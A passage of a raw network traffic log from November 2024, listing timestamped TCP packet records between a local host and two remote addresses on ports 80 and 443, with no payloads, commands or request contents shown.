Nov 12, 2024 10:37:31.005985022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006017923 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.006030083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006056070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006068945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006078959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006110907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006130934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006234884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006298065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006314039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006339073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006355047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006467104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006541967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006553888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006576061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006603003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006701946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006773949 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006809950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006855965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006866932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.006887913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.006920099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007143974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007175922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007220030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007231951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007252932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007277012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007361889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007373095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007404089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007507086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007539034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007581949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007594109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007622957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007697105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007838011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.007877111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007889032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.007924080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.054480076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.054507971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.054518938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.054585934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.054626942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.085083961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085103035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085114956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085129976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085151911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085163116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.085180044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.085510969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.086030960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086088896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086102009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086162090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.086163044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.086338997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086352110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086361885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086375952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086414099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.086457014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.086481094 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.086546898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.093717098 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.093776941 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.097811937 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.111486912 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.111522913 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.123176098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123207092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123219013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123260975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123352051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123368025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123378992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123382092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123393059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123397112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123418093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123621941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123651028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123661995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123673916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123725891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123725891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.123851061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123863935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.123905897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124056101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124149084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124161959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124171972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124252081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124263048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124275923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124279022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124295950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124305010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124327898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124350071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124497890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124556065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124691010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124743938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.124773026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124787092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.124821901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.167550087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.167568922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.167584896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.167716026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.171716928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.171730042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.171791077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.202013016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202054977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202084064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202096939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202107906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202121019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.202121019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.202161074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.202198029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.202224970 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.202982903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203037977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203051090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203062057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.203098059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.203176975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203188896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203197956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.203212976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.203322887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203334093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203340054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.203380108 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.203737020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240253925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240272999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240300894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240313053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240324020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240335941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240362883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240418911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240434885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240458012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240468979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240479946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240689039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240699053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240710974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240808964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.240844011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240855932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240895987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.240905046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.241103888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.398175955 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.398238897 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.398327112 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.398526907 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.398576021 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.399039984 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.399549961 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.399559975 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.399622917 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.399802923 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.399833918 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.399933100 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400491953 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400495052 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400507927 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.400532961 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.400701046 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400895119 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400895119 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400902987 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.400908947 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.400913000 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.400927067 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.401041985 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.401053905 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.417721987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.422610044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.542458057 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.555454016 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.555485010 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.556046009 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.556051016 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.560002089 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.560519934 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.560539007 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.561085939 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.561090946 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.564577103 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.564976931 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.564985991 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.565717936 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.565721035 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.567281008 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.567846060 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.567846060 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.567861080 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.567874908 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.605525017 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.605992079 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.606008053 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.606394053 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.606399059 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.683279037 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.683368921 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.683612108 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.683612108 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.683654070 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.683667898 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.686228991 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.686254978 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.686417103 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.686544895 CET	49912	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.686553001 CET	443	49912	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693335056 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693392992 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693468094 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693545103 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693584919 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693624020 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693646908 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693646908 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693660021 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693667889 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693685055 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693866014 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693866014 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.693880081 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.693888903 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.694611073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694658041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694669008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694679022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694681883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.694750071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.694750071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.694833040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694844007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694854021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.694924116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695027113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695039988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695050001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695060968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695077896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695192099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695224047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695235014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695244074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695266962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695367098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695487022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695558071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695569038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.695614100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.695614100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.703424931 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.703602076 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.703799009 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.706598043 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.706598043 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.706614017 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.706634045 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.713339090 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.713366985 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.713541031 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.714045048 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.714055061 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.714334965 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.714360952 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.714524031 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.720242023 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.720252037 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.720985889 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.720995903 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.721832991 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.725758076 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.725766897 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.734961987 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.735027075 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.735131979 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.736360073 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.736370087 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.739541054 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.739573002 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.739720106 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.739955902 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:31.739965916 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:31.849666119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849694967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849720955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849731922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849741936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849752903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849765062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849775076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849788904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849800110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849811077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849822044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849831104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849842072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849859953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849879980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849885941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.849890947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.849903107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850013971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850034952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.850068092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850080013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850121975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.850121975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.850228071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850239992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850250006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.850352049 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.851241112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.851306915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.851424932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.851445913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.851490021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.851571083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.851615906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.851632118 CET	80	49834	185.215.113.206	192.168.2.6
